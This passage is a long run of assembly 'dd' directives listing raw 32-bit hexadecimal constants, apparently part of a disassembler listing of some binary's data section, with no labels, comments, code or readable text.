0FE325A78h, 2A1E40CBh, 0C9DF6670h dd 5A0D7584h, 2C554640h, 0C9B547D0h, 0C802CA90h, 6E2490B9h dd 665CDBE2h, 0D1F2BA84h, 79143786h, 0EB48237Eh, 0DA124F07h dd 71D6D26Ah, 0DC390E48h, 0E0E89082h, 5A803E4Fh, 8C230C92h dd 344ACDE8h, 0A5D1871h, 14318022h, 0CAF4324Bh, 2586F3C1h dd 0AC0061F1h, 3118B1E0h, 0D032EBh, 1A69545Ah, 5C347015h dd 0EA2EE0F4h, 0BC802833h, 1CD518E6h, 48F40082h, 0C211EB67h dd 691708E4h, 0C53104EDh, 0E5E099BFh, 0EEA272Dh, 2A62012Ch dd 85CAF8B7h, 5ACA1D0h, 60E88A58h, 8B0EAC8h, 98D80A80h dd 121D86B2h, 981C3AEAh, 2B2C690Fh, 0AF6F3775h, 0A5C9EAEAh dd 6885CA09h, 80670E3Fh, 0CB580259h, 326A0703h, 0D0E24F08h dd 0E92A02FEh, 5165F2C1h, 485AAEF6h, 4D507D76h, 0F1640294h dd 12C25FC7h, 0D88025Bh, 0A008E551h, 0E2C2045Dh, 80C7C509h dd 3BFDF95Ah, 0A332FB32h, 4EC0CAACh, 6656241Ch, 5CDA8320h dd 69F0C284h, 74AA5176h, 0C2843D92h, 0FE890778h, 0A47F0E2Bh dd 16C159C3h, 0F8663ABDh, 94262424h, 0F5185467h, 69EC83DAh dd 74924F1Fh, 0CCBD2D95h, 0A1DF9890h, 9522C416h, 1B893426h dd 0D360632h, 13A45E5Dh, 374F8F69h, 10E33569h, 54142BBDh dd 0D4824BCh, 0F70B1A06h, 50190C69h, 18C4D23Ah, 0B672393h dd 9D833409h, 1022E002h, 0F40AC5C8h, 0F3FA1B56h, 4E9A6801h dd 0DB0269A1h, 18BC5E30h, 48441B2Fh, 0F09689Dh, 611EEA1Ch dd 37F8BF3Eh, 0A710AEEh, 2CF08CF6h, 29B473BCh, 0A86630h dd 0F8451180h, 6D0FEADEh, 0D60AA692h, 0B00CB674h, 40DD41Bh dd 0BA30DE8Ch, 90A4C645h, 0EFF65612h, 29E9C404h, 9C9600Eh dd 32597821h, 1A97F8F3h, 24606894h, 9828EB53h, 0D0820290h dd 1DFA221Ch, 83059661h, 0CE16D658h, 420C0208h, 58CC0EC9h dd 29E896C8h, 10E4794Ch, 4A507AEEh, 606E5C43h, 97A97D2h dd 5EB63890h, 0B81020C1h, 0BCAA69C9h, 828C205Ch, 77A3BA05h dd 0EC279C7h, 0D6FB465Fh, 57AC0B07h, 692D199Ch, 261D2AF6h dd 52801029h, 0BB7D1BBAh, 10EA1345h, 0C3E82240h, 24C11644h dd 54952FEBh, 9008BC20h, 750F2209h, 4D37C807h, 0F0F248E3h dd 17404009h, 0C0E760Dh, 6830EA4Ch, 0E24F8A6Dh, 0FA6F2D37h dd 80F4940Ch, 26609D53h, 26937644h, 0DDEC0152h, 25AB1BFDh dd 0EA3589E2h, 600C2A4Ch, 0FC09BC24h, 0DF4F0E60h, 1C4D3A8Ch dd 72D6A248h, 21B6C0A5h, 222D8DE3h, 0F600A3BAh, 23252FF8h dd 7695254h, 34F37EB8h, 30F2E05Ah, 550C386Fh, 1206EAC2h dd 3F160723h, 0A2CC8A0Bh, 2A4A812Bh, 4F291980h, 0CC73936h dd 497007DEh, 9CDCE3EAh, 0D9BB4329h, 2A4D4CC0h, 8CCD14Dh dd 246575EAh, 931D6245h, 0FC00A00h, 8ED3084h, 4EC8346h dd 2C1AE917h, 0E6E6884Eh dd 0E5ABEh, 0C8BC828h, 4C48324h, 0FB1C537Eh, 0BA4FFFF9h dd 793B200Bh, 98D78957h, 6292FE72h, 0C1811EEBh, 9C2CCBE0h dd 597EC8FEh, 56325136h, 5966F053h, 0C300866Bh, 398211B9h dd 0D00FBF57h, 80019958h, 0F07F0EE7h, 0D5E91832h, 0C6C35BDBh dd 2568281Eh, 441353CCh, 6303EC58h, 343322EFh, 35D96010h dd 4B56BE00h, 0D6019B58h, 0C6815A00h, 485E4F26h, 3395DCE9h dd 95D02B7Ah, 7C062952h, 3C8B0824h, 2A72204Ah, 0B9D7D1EBh dd 7F594064h, 81843052h, 0B753661Eh, 0EF33A879h, 0C359122Bh dd 278AC1F0h, 91F6EB81h, 532092C1h, 629689BDh, 3C78AE20h dd 8B3D1487h, 0B81DC07Bh, 34BB1B84h, 7A44293Fh, 1E8B7DCCh dd 44CCA381h, 0D058D2C3h, 0E90C1ACAh, 461E1E82h, 0CEBD5500h dd 315356B4h, 683B0EEh, 0ADE95EF7h, 5914D4E6h, 7B1C329h dd 2EDE382Fh, 718E2h, 0CE125CB8h, 0D0A06051h, 63B3F4Ch dd 0A2825001h, 92E34A68h, 6AEE401Eh, 0FC11C112h, 5AD10F08h dd 2C8E2CE9h, 42D200F7h, 115EC281h, 5201602Bh, 0C8215A59h dd 27B2D3E9h, 0A0A26E32h, 7CB8C309h, 640CB850h, 0E47F5A73h dd 236E005Ch, 53ED810Dh, 1176137Ch, 3B2C53Dh, 0A8E9010Ch dd 0C3AF2846h, 0A0EBEC23h, 50FF5306h, 538BB674h, 8F31371Ch dd 40895C80h, 512068C3h, 1946F048h, 0C54B7BBCh, 5B734209h dd 0F3C1CF9Bh, 0F172489h, 0FC8BE3Ah, 1F5EAC68h, 0F8898C24h dd 0C67520D5h, 0E5233F9Fh, 80544220h, 3B1E665Ch, 0E39B9CC8h dd 0BA5DEB2Bh, 5C80487Bh, 20F17FF6h, 4E3F8C41h, 3113A451h dd 3E026886h, 7C6F249Dh, 648A407Eh, 0BB902E8Ch, 5920C31Ch dd 655260BBh, 30E9086Eh, 52E94ACh, 0DB3D42DDh, 79EE1A23h dd 104A9314h, 2DE8DC3h, 305BD828h, 817744C3h, 53E088A7h dd 1850FA54h, 2CDC67E9h, 1FEEC1FEh, 0A11832A2h, 89805336h dd 64F7EEE1h, 805D30D6h, 0D40B491Dh, 0A60C4360h, 249C94C5h dd 0C1BD529h, 0C73992CCh, 0FD015801h, 2BE565Fh, 208B5BA0h dd 5C768DF8h, 0CD4C0E2Ah, 8856C9C9h, 4620C387h, 16E95709h dd 0BC882080h, 912DB344h, 815805CCh, 0ED1618ECh, 4A645368h dd 0FD032C11h, 0E9896C07h, 0C13E3452h, 4603E026h, 0C4D2B08h dd 0AD526C81h, 79B27F06h, 0F8105C01h, 150CA444h, 0FAE2ECE9h dd 1E0AB669h, 0C67109Dh, 17D02158h, 4FBA2068h, 0DA8FE91Ah dd 0A549AF34h, 59501DB1h, 5581759Ch, 43F8AD21h, 0BD160079h dd 37640F0Dh, 0ECC9C531h, 4A0280F5h, 90454D34h, 75B380B7h dd 9BE91030h, 0E91483Ch, 6761D4BAh, 77D34214h, 0ACE44643h dd 11F8724h, 54E9555Ch, 0E59EA8F0h, 96FF703h, 0EAEE8925h dd 317748DFh, 0A78B51EBh, 0AF24C6E9h, 17823668h, 0E0A4F0C7h dd 0F6F4E918h, 4685136h, 311507EAh, 69368759h, 0B6865780h dd 8926BE05h, 8D48EBCDh, 0E9FD8782h, 0BB8FA0F6h, 0B04C0719h dd 13E374D2h, 1225EE42h, 5B080915h, 41342080h, 93B00914h dd 0B7998862h, 26802932h, 0B27E16BFh, 6AE93E0Ch, 45BD2533h dd 49B6311Fh, 81B3D796h, 24945E42h, 82E83159h, 0A5496EB8h dd 0BF88D3DBh, 0D71302C7h, 0D1F7493Eh, 39DE4463h, 0C380EB0Fh dd 0CB0636ACh, 774F62BAh, 719C33FAh, 7877080Eh, 55D0B1F2h dd 5358C245h, 0D80110BBh, 6496E919h, 25099789h, 8D8B2285h dd 0BA41BA87h, 104224Eh, 0D28DAF7h, 3B3AEC4Ch, 0B906D192h dd 0E1F4F4Eh, 100500D4h, 0CE093EA2h, 0BEA95659h, 9EEEF85Eh dd 0C384D0Bh, 16A0129h, 408F5FFBh, 25C065C2h, 42A9E181h dd 0FC026A28h, 0BE79F70Ch, 5C38580Ch, 67C0703h, 986183F1h dd 131E241Bh, 298E5370h, 0FC6DE6CBh, 709790D6h, 3CD260Ah dd 65CA0091h, 0E7D10B41h, 0CFF7C172h, 0E1F01CDEh, 465F121Dh dd 1012F79Eh, 661E5216h, 0B64502ACh, 0A2E77782h, 99C7819Eh dd 5003C93h, 2050ECBh, 68525122h, 5FAB9781h, 0CD62ED21h dd 9F55E91Ah, 9B2A9D4Ch, 0CE01C4F5h, 6DBE4F70h, 0B3F4DE31h dd 0AB1DB2F7h, 2D0CC97Ah, 6204159h, 18C28246h, 8B1CBA89h dd 0E20C836Ah, 1C770940h, 510EC98Bh, 22B1DA88h, 0D104ED16h dd 6289B714h, 5A300E40h, 0DFF7265Eh, 11346184h, 495FF901h dd 5C3F9222h, 18A98677h, 0FB8F59FBh, 0B342A472h, 1B10B54Ch dd 0D243C432h, 63E3171Eh, 0C268306h, 29888887h, 5431192Bh dd 0F1007533h, 30483561h, 1E07E82Ah, 0F501F6D9h, 0BC43AAD5h dd 0C3028F64h, 4C69430Fh, 168E6809h, 80500E99h, 6A03904Ah dd 148B839h, 3136A802h, 28D6E9F0h, 105F3B75h, 500F633h dd 347C5D95h, 2D51D001h, 643ED407h, 843BAB2Ch, 121A4A08h dd 12350629h, 0E3907509h, 12DDF73Dh, 0C3432584h, 37233D68h dd 92AD540Ch, 616C5DB5h, 7C50FBA6h, 5D495FB7h, 44BB94EFh dd 0E91ACD12h, 0E0836AFFh, 26055A2Fh, 0CF83AA3h, 0BD1C1BE5h dd 6766D4EFh, 51612DB0h, 0E785E90Dh, 115BEC93h, 0EB3F2C12h dd 0F25C6C37h, 40C0D5F7h, 7B26848Ah, 94104691h, 805F9679h dd 0CAB05002h, 581EC130h, 50BBF180h, 5EFA489h, 2861F399h dd 88020608h, 0FC58C7E9h, 4C718150h, 0DEC5308h, 224BA31h dd 7E8FE681h, 0BC40570Ah, 2E263273h, 0E628522Ah, 1BBD7B26h dd 82515500h, 0B0F70144h, 0D7088992h, 82477D21h, 2C9B3E41h dd 34A0CFE9h, 61681508h, 4ACA40h, 0B3751F12h, 76B8297Dh dd 749EFD60h, 1C13A42Bh, 0B1E581h, 6850635Bh, 0CDC408F1h dd 0EA14F7A6h, 34E0E3B7h, 0D0B00B1Ah, 0EC004226h, 9B297D86h dd 64448943h, 11C7744h, 0F0D95BDEh, 6800231Ah, 38B92214h dd 30FEBEA8h, 815940h, 882262CBh, 56DBF73Fh, 5249EDB0h dd 0F0229C40h, 0A98B7AFEh, 0C6DE1F3Fh, 0D20BA330h, 0B18B505Dh dd 33C03490h, 0CD5819E7h, 18E40175h, 0C6011DA1h, 3838F8F5h dd 91188B47h, 0C00916E8h, 934992EEh, 8FEE2947h, 0FB8AE961h dd 5BC74581h, 0EC1E3C59h, 0F3BE54CBh, 2D0C45A0h, 7E964E97h dd 0E95115D8h, 0B21C8940h, 8D313D1h, 0DF35FFE7h, 1899F995h dd 5320E424h, 8D45D7F7h, 4C84E554h, 3845E6A1h, 0F81A535h dd 0B5886D83h, 290ACFB9h, 6A21AFF8h, 0E9E80181h, 0F5226B7Bh dd 17389605h, 8A9C336h, 91702DF2h, 25764C0h, 1F290EAFh dd 6665AD3h, 6388E930h, 1EF68100h, 89FE8C7Ch, 325E7EF3h dd 0BB1CD924h, 120AF52h, 295B305Ch, 3EE950C6h, 0AD26FA60h dd 0CE207F83h, 0C89209B8h, 0E7935D45h, 20CD15A6h, 0E4293934h dd 0D4BE0146h, 1B9CFD6h, 0D5B030FEh, 2CF92F4Dh, 94A5284Ch dd 0C655583Bh, 0BD1BC503h, 0E2F05A01h, 5E056772h, 0D2F74253h dd 0A8E0B80Ch, 65F4A4BFh, 88566229h, 0A8A5E55h, 436954EFh dd 4AD1D13Fh, 0D2F1899Dh, 0D356C4C8h, 2658D31Fh, 50792CD1h dd 804D4AAAh, 0B9344A45h, 712A0780h, 1322595h, 99E92E81h dd 592A830Fh, 9181EA29h, 71E97ED3h, 0CB6E2CF8h, 0F4B85A1Ch dd 9AC45BDAh, 0F48D6309h, 6B329531h, 45E1F616h, 8A53CCB9h dd 90E912ADh, 0A9140E84h, 0DD72C6DDh, 530B9416h, 36BF5758h dd 8D1639CEh, 997BA8EFh, 47058014h, 2939CF7Ch, 72DE828h dd 0AE45D59h, 0AB0B70E9h, 9D9F02A5h, 24245927h, 28E21120h dd 2969B751h, 0E16E2989h, 0BE243136h, 0BE2DC67Ch, 3B2CBA1Ah dd 80C0F57h, 0A10AFF90h, 69F0F91Fh, 0B618C36Ch, 80E9FE53h dd 4F033BEEh, 0D3DDF657h, 0F3D5A3C5h, 0E1EDF2CDh, 57621F3Bh dd 6EE3EA0Eh, 26CC428Ah dd 1B082053h, 273925E9h, 82736BB0h, 0E1074B7Dh, 791859B5h dd 1938F1C0h, 0AE70E317h, 425344Ah, 2A9D618h, 91E1D126h dd 0FD503D10h, 1B4C0B2Dh, 55810B5Dh, 8C774A18h, 0E173C3D6h dd 3DCD419Ah, 0F7E82A6Ch, 0F2F76631h, 5202867Bh, 130E2C40h dd 0C1013473h, 0F38104EBh, 2F95DCFh, 0B040F7DAh, 0AB01FDBh dd 0CA4AD90Ch, 9C22412h, 89F0B588h, 0D5314702h, 50042CCh dd 1C087020h, 99F138E9h, 0C68F0135h, 0E9210A63h, 0BAE8815Eh dd 4124426Ch, 27D48C80h, 0D9297F82h, 72085B58h, 521E2800h dd 0E4686C2Dh, 0E0C11C6Bh, 3FE84105h, 30298C66h, 149CA7Bh dd 0D34C76A4h, 16A8D76Eh, 19CA2826h, 22D22229h, 94062ADAh dd 3C496FA4h, 0D0881C59h, 0A73ACDAEh, 55A8A22Bh, 30D971EAh dd 42E06807h, 0B6B0A4B3h, 0E22E1EB5h, 0DC6E59E9h, 34E74A7Dh dd 0C332A2EBh, 111C4F09h, 3CCB9C2h, 6D022BF3h, 748ED97Fh dd 583CAF33h, 0BF9037ACh, 5D33A031h, 493B3250h, 0E8BE1D61h dd 345EFE0Fh, 5035BBBh, 58E52D48h, 2098B19h, 63071355h dd 8548EC6h, 22481149h, 499158B6h, 40241CA6h, 6F788FA8h dd 0CF4EB092h, 44F6E766h, 712EE902h, 624AEE7Fh, 126753Ch dd 0ED13E4D5h, 0C7685499h, 0E05EE9C4h, 0EB3280EDh, 5A02F0F0h dd 0B3530529h, 5ED4E9E7h, 8FE5D38Eh, 6D332082h, 9E0D0631h dd 217159C0h, 0E3E05AD4h, 897EB941h, 0E6895F54h, 0BE056CB6h dd 4741289Bh, 0EFCCEEB1h, 260F5DE9h, 0D8575F1Dh, 0EB689F39h dd 0CC763F4Ch, 4C948681h, 0EA5C6D66h, 8F220741h, 4B87F018h dd 9C90DD01h, 0CA3A860Fh, 66FDC664h, 0C2FE1C1Ch, 0C0848380h dd 37B704EAh, 5AD000E1h, 0BFF2712Ch, 74D8283Bh, 7B4D8F98h dd 0BB077F12h, 32313446h, 23C97B3h, 7017CBE5h, 3406D38h dd 0FA780155h, 1A091198h, 0C0FB61Ch, 5C882F5Bh, 0FC2511F7h dd 80589004h, 5CD6A8F5h, 12400249h, 0F1096335h, 0F9A2810Ch dd 1EC6D06h, 80582C2h, 0BCC5FF58h, 5A62C9B3h, 0BD000725h dd 3A21AA9h, 90C4B915h, 6C0B34C9h, 8EA67095h, 0AD10D357h dd 0E1A84008h, 0B13B4439h, 3D6A2A14h, 4CF778C4h, 0BE16C8D1h dd 0CA274661h, 22038C59h, 0E9170D3Fh, 0C09984B0h, 5CE0AD2Dh dd 58482968h, 9CE9C51Dh, 0C48813A1h, 0AD0114F9h, 205D7F2Dh dd 40519730h, 262768F0h, 0B9AB117Ch, 0EFC0852Ch, 13EA850h dd 2A0CA51h, 95B85908h, 380F6853h, 4942E92Bh, 0A407E51Ch dd 0A76186Dh, 72E20BFh, 0FB179157h, 2C54C204h, 0F2C38001h dd 0C1C1CE28h, 524BDBB1h, 675A9C09h, 7DE986DAh, 0C73C4139h dd 0E51C1901h, 9B5D59DEh, 5CF3B7F7h, 0EA450331h, 3CFB21D8h dd 65C2CAB0h, 6854C605h, 31D82757h, 8620FB4Ch, 6C39356h dd 5B4F14E9h, 4CC1C740h, 0F7C3B57Eh, 0A3631D7h, 0B40D0633h dd 8369001Fh, 0DF01887Bh, 0C630E9F2h, 0A4BA3A26h, 1EF20025h dd 6733B951h, 0F72C3E1Ch, 6093FD9h, 541F0141h, 0E761C348h dd 7940A5E8h, 12D8D73Bh, 820CC4A8h, 5E0053E4h, 2CACBF57h dd 1ABD61Bh, 3E5D9EC2h, 4AF210Ah, 0F5081483h, 5850DD50h dd 9D437F89h, 2438E824h, 7720BF8Bh, 0EEC14E0Eh, 0ED019307h dd 334813BAh, 187B8760h, 0C0CF208h, 4F005440h, 5EF029C3h dd 125A9E2Dh, 15F150Bh, 4C688770h, 5041230Ah, 8095C65Ah dd 5AF1303Ch, 28A51FB6h, 73BF0BCEh, 0C3F9E0E8h, 90DD8C34h dd 805CF749h, 0B60F4FD4h, 6050F8C0h, 0B5BB2E05h, 137A9D4Ch dd 14DF10E0h, 5C53E140h, 0B8312D61h, 29621F75h, 980728D8h dd 251640F6h, 2619B501h, 5D0F727h, 4DC0A61h, 63C54A01h dd 0B901256Dh, 3118E8C1h, 0EECD96C8h, 5171F5D5h, 0B4E8B2Ch dd 0BE92C561h, 0B07C4360h, 5FE08824h, 5B625D12h, 318B8633h dd 5C0DC906h, 0ED9DAE60h, 7BACC788h, 2A337BF8h, 50A76CF2h dd 7982FCE2h, 2C567D25h, 53255FC5h, 740EF1D9h, 44E22D69h dd 0A67EBA3Dh, 0BD8CAA1Ah, 4C552B01h, 14584881h, 0E0275B94h dd 0B3B27A02h, 28F603C0h, 7502E258h, 15E98DA8h, 46407569h dd 0DD29322Eh, 0B1A00340h, 0CF805866h, 0EF609773h, 3002F742h dd 5FE912F8h, 5585C812h, 0CEDAF7A3h, 31090D54h, 8494A9D0h dd 0C2B002A1h, 30CC24B5h, 65E41D0Eh, 53F0E264h, 5908F654h dd 487F6812h, 0BEE93F31h, 9F551194h, 0FDCFB94Ch, 4F1935C5h dd 1265246h, 45B134Bh, 7D78982Dh, 5FBA82B4h, 0B619E918h dd 0F793071Ah, 3E7A3CD3h, 1BA30900h, 0DCE95550h, 0D4688002h dd 727765Ah, 0F6A8CFD4h, 46140D00h, 0D148614Ah, 0DE2DE802h dd 0E271DAAEh, 130840B6h, 0CE95C037h, 3D3B79FFh, 7B5D18F6h dd 29D050AFh, 0EB01F8BEh, 513A74C8h, 0C684B5E7h, 7E8B0813h dd 12EA9A10h, 40BDAF6h, 401A055h, 74E8281Ch, 2726E42Ch dd 7300BCE9h, 20713DB9h, 5726E5Ch, 4C52176Ah, 415DA482h dd 0D53D6CE9h, 0C20B1A53h, 3C063358h, 63ED0631h, 4BB14C42h dd 0C683AA02h, 880C5E02h, 31180679h, 0BEF8190h, 0AA339AEh dd 0FB7E1586h, 0F45DEB32h, 4D5BE1BEh, 32452F9h, 68839721h dd 5E5AFE13h, 50377F64h, 78E6E9C2h, 2AC89089h, 2CDA1E36h dd 60D00E47h, 831BF66h, 0EF4CC1E8h, 7B47161Ch, 0B8836B28h dd 58788EA8h, 245B4B5Ch, 3982E580h, 287686FFh, 91577F97h dd 478D9691h, 1749BF59h, 0F829C0F9h, 0E9808B5Fh, 3E415CEDh dd 0F9901ADEh, 0F1F7F830h, 6CB86812h, 0B502888h, 0C691E99Ch dd 6AE82BAEh, 5BE75069h, 4D060B1Ch, 4231E268h, 12D6904h dd 52825DEAh, 68BCA1C2h, 762833F4h, 0F619FC1h, 18316C49h dd 0BD6AD84Ch, 0EB5D137Eh, 52471341h, 0C7261D4Ch, 0B4D1F674h dd 261BACABh, 2F424966h, 98DA4673h, 121A2F38h, 37EE4EA3h dd 0F90192E7h, 51438AD1h, 2FF04CF7h, 36023422h, 8952E46Bh dd 51225EDFh, 699D7831h, 0E5602B4Dh, 0E1564496h, 4F82867h dd 222ABFBBh, 7613EFB8h, 58AEA219h, 0BB9CB5B5h, 6858400Ch dd 5B828996h, 5C351405h, 2DD80A37h, 0ACF3E07h, 88953195h dd 32254C41h, 58588144h, 5761189Eh, 8E7CD5DDh, 3B708F37h dd 0BD666D26h, 5373B31Fh, 874BB212h, 0D8B900BDh, 48EDC14Bh dd 124AB602h, 4EC78AE4h, 0E478217h, 0EB045DF5h, 0EFC5C881h dd 50CBFE00h, 0B4E3B440h, 0E8E950DDh, 0BB158196h, 0F8EF0161h dd 12BCD34h, 841102Ah, 216FE916h, 0CD4BD3D3h, 0C1A4CFDBh dd 0E51F1081h, 2AD70DFh, 0E6E923BEh, 0D2FE4A61h, 87A008A9h dd 883121BDh, 0E8890509h, 233B025Dh, 4C047656h, 454158ECh dd 329C319h, 2306809h, 3565891Ah, 0E6658D6Dh, 64056D40h dd 4F6B00A9h, 1812F781h, 0CFEC2C58h, 80720E3Ah, 0E2BA525Ah dd 4C35775Ch, 0A14840C1h, 6BF45E24h, 15B82666h, 58124491h dd 0E90878A3h, 450B7666h, 3FE4C457h, 0B82FEF29h, 6D82F489h dd 37410CEh, 5C22E2h, 8B13B5B8h, 0A1353300h, 892FFA43h dd 2BBBBC2h, 0D726E942h, 0DE309A79h, 509E9D53h, 39148B56h dd 0CE0F241h, 6F8D6278h, 0E9FE0106h, 77CD54EFh, 24B533C2h dd 8E0C00Eh, 3958B050h, 0A8312EBDh, 0D48AE64Eh, 2159096Ah dd 96C01C57h, 56B65456h, 4FCDE905h, 0D34ACAB3h, 3827CADCh dd 970A44B8h, 848B2FABh, 24C3DD06h, 3B4F5E7Eh, 7789E81Fh dd 0B5C7911Ch, 0F1C629EEh, 5729EF42h, 265F11C7h, 8C40215Ch dd 1C64835Bh, 0AF53252Dh, 0F8E2F789h, 7CF2F82h, 0FA4E2CECh dd 1BF5D684h, 0A0097658h dd 0C1265198h, 7080C983h, 0A5012E2Ah, 8F726E28h, 0D33998D4h dd 0F5B78055h, 3B241D06h, 0E5108D30h, 4710FB48h, 0F5285179h dd 4F402E60h, 155F77C5h, 3AB5B0F0h, 4873057Ah, 0EC025448h dd 29AA6976h, 0C5014440h, 1CFE4AC6h, 8343A173h, 5924CCB9h dd 0A9C2442h, 3997F86h, 3E0D378Ch, 5FE8D2E4h, 81083BE1h dd 7CEF579h, 84811F2Eh, 5B977B50h, 0CD147131h, 537B31DAh dd 0C1D4C139h, 93670662h, 0D204E079h, 0A31427C4h, 5EC052Ch dd 0C1F3346Ah, 406636Fh, 923465F5h, 68F7FA57h, 3C5C56C2h dd 136854A7h, 267798C6h, 760C8EE5h, 18A05F01h, 40B43088h dd 1497219Dh, 1C61D35Fh, 129C6DAEh, 5F95EF42h, 0D14AA347h dd 785F6112h, 2312CB9Bh, 0BCDE30DAh, 0F552D485h, 12EF6DC1h dd 10FD3340h, 0A7094C9Dh, 0F20D6801h, 71FB0107h, 5F0802BEh dd 63A731F9h, 0F816F29Ch, 9CA69DD3h, 0D8E0CD5Ch, 4ABB6659h dd 0CBE2FD87h, 52F2563Fh, 9680621h, 0A53326h, 36D9BB53h dd 95294BB5h, 42BA412Ah, 110AF658h, 69F2EA09h, 0CBC405F0h dd 41B2135Ch, 3056F529h, 3181D638h, 416F4924h, 5FD0016Ah dd 23D90549h, 0B0D33428h, 0C627E95Dh, 20FC67Ch, 3FBE45E7h dd 5324401h, 0D7B2580Ch, 0AC2C6E2Ch, 8016270Ch, 0E8E76B25h dd 0AF566h, 0CE814885h, 68444377h, 0AEE9460Bh, 92424659h dd 827FB0ADh, 4C8E10B5h, 708182D5h, 0CBF1671Dh, 69035ED9h dd 4DB9103Fh, 242C8B17h, 0EE2E8256h, 8C68000h, 5AF02E28h dd 4E0C1312h, 20B2870Ah, 1EB8301h, 30CB8101h, 685C0B15h dd 5BD1B8h, 461C8063h, 3835E97Ch, 0D5E61860h, 36C1EA3Eh dd 0B66E8A55h, 21FA0582h, 689F606Ch, 27504A78h, 20DE82DAh dd 577F4FC9h, 5FF9D0F1h, 5B02EA05h, 0C8012125h, 0B078B2Dh dd 564638CFh, 697C24E9h, 0D2058201h, 95401320h, 7A12DF8h dd 4E70D85Fh, 0E9103A05h, 20D0F7A8h, 244240F5h, 31E4505h dd 501B0378h, 5F4DC0B7h, 894C7B10h, 90922A4Ch, 64237F81h dd 79BC29B0h, 0C68A0A83h, 72E5B0F1h, 41D23225h, 0B900C86Ah dd 1DCC4E59h, 0A4CB0131h, 69BA00CEh, 53E92302h, 47297F5Eh dd 66C37CD6h, 0FE00739Dh, 0B9B551C6h, 0B8F3C580h, 86274AE1h dd 2F3B067Ch, 20055828h, 1A04B5DCh, 0E2EDE851h, 2CAAE421h dd 6FF7C05Eh, 0D13A6704h, 9308E7B6h, 0CBB50706h, 0D1A2F8CFh dd 0FA290FB3h, 8CF2A7E9h, 3A1FA5ACh, 4B531E9Dh, 0F02D46C0h dd 620D2544h, 680EAB66h, 27AFA14h, 0DAD8015Bh, 96C9F873h dd 10B024EEh, 0C287AFCh, 2B490A66h, 12C63EECh, 0E5F34B42h dd 407FDB04h, 3A90A80Bh, 81187516h, 290D0FF3h, 2AE912D8h dd 415BB25Bh, 4A0CAC4Bh, 57592F8Ch, 3420764Fh, 74608B5Bh dd 981816D2h, 7341119Dh, 0F7132F68h, 0BE1901D9h, 9F39F43Ah dd 66760716h, 0FDB09FDAh, 289E7EB9h, 524C8983h, 0F1EEB00Eh dd 45693DF5h, 1088F726h, 2C5E3CD0h, 0F81AD5D7h, 4BAF5149h dd 0D4647C05h, 98A3ACFDh, 9E215E86h, 514440CBh, 81022069h dd 704E47E7h, 0C2FC8C2Ch, 20AB9CDFh, 146409FEh, 8503452h dd 9097371Eh, 2C105124h, 0C1279748h, 53AC7100h, 801F41B7h dd 0CA0993C7h, 895D9A7Ch, 58B66936h, 52A0E32Ch, 0F136857h dd 0A0042A35h, 665577AFh, 26CC5A2Dh, 6E8A544Bh, 68565300h dd 2E707CA9h, 0EEC15E02h, 0C1D6F705h, 0C439EF78h, 2F598FD9h dd 0EEE95561h, 4EA03235h, 255E7C0Ch, 0E4C46CCCh, 24B95118h dd 0E4F9011Fh, 1ABD31h, 3E7FA741h, 885C9172h, 0D00AD5C7h dd 0AD0D3905h, 64409EFDh, 7B4684C4h, 7D272531h, 78D21D9Ah dd 8BD3291Eh, 1EDCEA5h, 8A42B7EBh, 9BDD017Dh, 9A8F5BDFh dd 3AEEC0C5h, 0F8BA807Eh, 2C0107ECh, 4126CA81h, 572042CBh dd 0EC94A8CEh, 7B628A02h, 5A03CC7Eh, 0CA59EF88h, 12DB7CC3h dd 2A28015Bh, 0F033B02Eh, 0A9B5797Ah, 63691866h, 0BC2CB15Fh dd 0D1D76412h, 2FF70760h, 0E3575622h, 27BDE0AFh, 66E2097Fh dd 2C0A6E9h, 285CE104h, 6069C915h, 0F8E7BEADh, 314F1278h dd 0E90C2CF0h, 5848CE2Eh, 0DBBA5260h, 65973F08h, 95E68313h dd 0C3DCF4B8h, 0DBEF82A8h, 865F0D31h, 342F1D69h, 3D3AB4E3h dd 0B12EBE63h, 707EBA78h, 0F730507Fh, 0D06DB32h, 74BDA2F1h dd 25985285h, 0B3179497h, 2AFA9865h, 19A46E9h, 58DD9895h dd 5EF20089h, 74C9E281h, 0E92D5403h, 3CD78D18h, 0C5D50F22h dd 9BD98192h, 0B0242B74h, 4E7DE8C8h, 0A6AF8DCCh, 1E1771AFh dd 9654FCD6h, 0F32969BEh, 0D0B03F5Bh, 0B86A32D2h, 0D16335DFh dd 887558h, 30378A5Ch, 0A0FB0163h, 68120840h, 8260147Ah dd 906F77C6h, 13DA4CEBh, 4CD91D5Eh, 50B5BCF4h, 23D24E5h dd 35F358EEh, 0FC91F51Dh, 484BF168h, 63E94297h, 3059F35Fh dd 0E934513Bh, 169E641Eh, 1C8057C4h, 0B8637782h, 6FB12096h dd 123BBB07h, 39F64CF9h, 0DA31250Bh, 85325448h, 0D3016F1Ah dd 0E90802DAh, 0C1B54821h, 440848E2h, 2AF092Ah, 0D40CBE5h dd 38E14D72h, 82BB30B3h, 13C5295Ch, 28E4034Ah, 626F1FCFh dd 0CBC87A6Ah, 0A32D8716h, 685479FBh, 0CCAC5B8Ch, 0D36AB09Dh dd 824F995Ah, 0C8310AE8h, 56E06254h, 5122BEh, 0C68167BDh dd 79650B07h, 0A5350CCFh, 5F805797h, 4AB97E5Ah, 87588238h dd 8C2DB64h, 5B5F5457h, 20E9E19Eh, 0C7EE6903h, 5564ED83h dd 1B5D2BC8h, 29675FE9h, 0E33352B0h, 5F10CC1h, 1CD82CFh dd 0D8CC8C52h, 54521607h, 5E60085Ah, 0F3058B20h, 3B930124h dd 9150F3B5h, 5E1C5F09h, 69548A5Bh, 0FF9A4429h, 70AF296Bh dd 0FC40DBD4h, 0E4F2A8C0h, 0EFA79658h, 26BB9666h, 746EA095h dd 6987AE94h, 0C989BE89h, 31261507h, 0E0211645h, 8BBD8FE9h dd 0C8305B1Bh, 0E4932669h, 0C2B3D451h, 0E9456B51h, 9099B42Dh dd 0EBE32031h, 217C7F84h, 0F15D6BC9h, 0FC7C6263h, 9A1B2427h dd 6C4E5EA5h, 6179582h, 8D124879h, 3C4457C4h, 9CA21FC2h dd 28F23C8Fh, 832F6829h, 30D24651h, 0F33D5B42h, 703D6C2Bh dd 23EAAF49h, 5F205F90h, 104014D1h, 21782Ah, 6C69B850h dd 0B4BB7F0Dh, 2EB97100h, 6858C331h, 26274A03h, 0A98D44Ah dd 35078E58h, 73038B9Bh, 0FC871E11h, 8B1067F8h, 45582718h dd 62DEAC4Ch, 7F5C5EF7h, 0D5230C6Dh, 8042EA26h, 0A82F832Dh dd 96D3012Ch, 0BE012AE1h, 567A4245h, 0B609253Bh, 68C305AFh dd 62561915h, 